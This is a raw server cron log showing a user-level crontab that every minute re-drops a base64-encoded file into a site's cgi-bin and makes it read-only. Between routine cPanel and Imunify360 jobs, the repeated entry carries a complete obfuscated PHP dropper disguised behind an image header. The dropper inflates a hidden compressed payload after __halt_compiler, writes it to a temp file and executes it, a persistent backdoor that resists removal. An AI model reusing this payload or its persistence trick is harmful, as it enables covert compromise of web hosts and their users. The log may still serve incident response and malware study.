Sep 11 22:20:02 server CROND[7031]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 22:20:02 server CROND[7030]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 22:20:02 server CROND[7032]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 22:20:02 server CROND[7036]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 22:20:02 server CROND[7035]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 22:20:02 server CROND[7033]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 22:20:02 server CROND[7040]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 22:21:01 server CROND[8023]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 22:21:01 server CROND[8024]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 22:21:01 server CROND[8025]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 22:22:01 server CROND[8399]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 22:22:01 server CROND[8400]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 22:22:01 server CROND[8398]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 22:23:01 server CROND[8776]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 22:23:01 server CROND[8777]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 22:23:01 server CROND[8778]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 22:24:01 server CROND[9153]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 22:24:01 server CROND[9154]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 22:24:01 server CROND[9155]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 22:25:01 server CROND[9658]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 22:25:01 server CROND[9660]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 22:25:01 server CROND[9661]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 22:25:01 server CROND[9668]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 22:25:01 server CROND[9667]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 22:25:01 server CROND[9663]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep 11 22:25:01 server CROND[9665]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 22:25:01 server CROND[9664]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 22:26:01 server CROND[10576]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 22:26:01 server CROND[10577]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 22:26:01 server CROND[10578]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 22:27:01 server CROND[10967]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 22:27:01 server CROND[10968]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 22:27:01 server CROND[10966]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 22:27:01 server CROND[10969]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 22:28:01 server CROND[11403]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 22:28:01 server CROND[11405]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 22:28:01 server CROND[11404]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 22:29:01 server CROND[11781]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 22:29:01 server CROND[11782]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 22:29:01 server CROND[11783]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 22:30:01 server CROND[12286]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 22:30:01 server CROND[12288]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 22:30:01 server CROND[12292]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 22:30:01 server CROND[12295]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 22:30:01 server CROND[12291]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 22:30:01 server CROND[12296]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 22:30:01 server CROND[12294]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 22:30:01 server CROND[12293]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 22:31:01 server CROND[13157]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 22:31:01 server CROND[13158]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 22:31:01 server CROND[13159]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
